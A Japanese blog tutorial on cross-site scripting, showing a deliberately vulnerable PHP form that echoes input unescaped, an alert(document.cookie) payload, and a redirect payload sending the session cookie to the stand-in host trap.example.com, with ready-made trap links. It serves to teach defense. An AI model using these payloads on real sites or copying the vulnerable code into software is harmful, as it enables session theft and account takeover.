公開日:2013年3月14日
最終更新日:2020年8月23日
最終更新日:2020年8月23日
クロスサイト・スクリプティング(XSS)の具体例
クロスサイト・スクリプティング(以下、XSS)の脆弱性があるとスクリプトを注入されて、Cookie 等の情報が漏えいすると言われてもイメージがしにくいと思います。
ここでは、XSS が具体的にどのように攻撃されるのかを見ていきます。
以下のような画面遷移(入力→確認→結果)の簡単な Webアプリケーションを作成します。
コードは以下のようになります。
・xss.php
<?php session_start(); ?> <html> <body> <h1>ユーザー情報登録</h1> <form action="xss_confirm.php" method="get"> 名前:<input type="text" name="name"><br/> URL:<input type="text" name="url"><br/> <input type="submit" value="確認"> <input type="reset" value="リセット"> </form> </body> </html>
・xss_confirm.php
<?php session_start(); $name = $_GET['name']; $url = $_GET['url']; ?> <html> <body> <h1>ユーザー情報登録確認</h1> <form action="xss_regist.php" method="get"> 名前:<?php echo $name; ?><br/> URL:<?php echo $url; ?><br/> <input type="hidden" name="name" value="<?php echo $name; ?>"> <input type="hidden" name="url" value="<?php echo $url; ?>"> <input type="submit" value="登録"> <input type="button" value="戻る" onclick="javascript:history.back();"> </form> </body> </html>
・xss_regist.php
<?php session_start(); //登録処理 ?> <html> <body> <h1>登録しました</h1> </body> </html>
通常のパラメーターを入力すれば、画面遷移図のように問題なく画面遷移しますが、名前欄に以下のように入力すると、Cookie の情報がダイアログで表示されてしまいます。
"><script>alert(document.cookie)</script><!--

この罠リンクは以下のようになります。この罠リンクをクリックする人は少ないでしょうが、URL を圧縮されたら罠リンクだと気づくことは難しくなります。なお、ブラウザによっては、XSS の危険があるとしてブロックされます。
http://<ServerName>/xss_confirm.php?name="><script>alert(document.cookie)</script><!--
これが Webアプリケーションにスクリプトを注入して、XSS の攻撃が成功した状態です。
ですが、これだけだと Cookie の値を表示しているだけで何も攻撃者に情報は渡っていません。
今度は、名前欄に以下のように入力して実行してみましょう。
"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--
リダイレクト先のアドレスは存在しないものなので以下のようなエラー画面が表示されます。実際の XSS 攻撃では、攻撃サイトのページが表示されます。
アドレス欄をよく見ると、以下のようにセッション ID がアドレスに含まれてしまっていることが分かります。この時点で攻撃者にセッション ID が盗まれてしまいます。
http://trap.example.com/trap.php?PHPSESSID=o4v1gk5kr7n91r0aflk1fvn4g5
罠リンクは以下のようになります。
http://<ServerName>/xss_confirm.php?name="><script>window.location=%27http://trap.example.com/trap.php?%27%2bdocument.cookie;</script><!--
攻撃者はセッション ID を入手したら自動でメールを送信しておくようにプログラムを用意しておけば、メールが届いたタイミングでセッション ID を利用して Webアプリケーションにアクセスし、なりすましが完成します。
このような形で XSS は Cookie の情報が漏えいします。XSS は JavaScript を自由に実行できるので、画面の書き換えをすることも可能です。ログイン画面で画面を書き換えれば、ユーザー ID とパスワードの入手すら可能です。
XSS のイメージはできたでしょうか?
XSS は対策の漏れにより作りこまれやすい脆弱性ですが、脅威は大きいです。ですので、XSS の対策はしっかりと行いましょう。
なお、XSS によるセッションIDの漏えいによるアカウント乗っ取りは、以下の記事をを参照してください。
スポンサーリンク
カテゴリー:Webアプリケーションセキュリティ対策
コメントを残す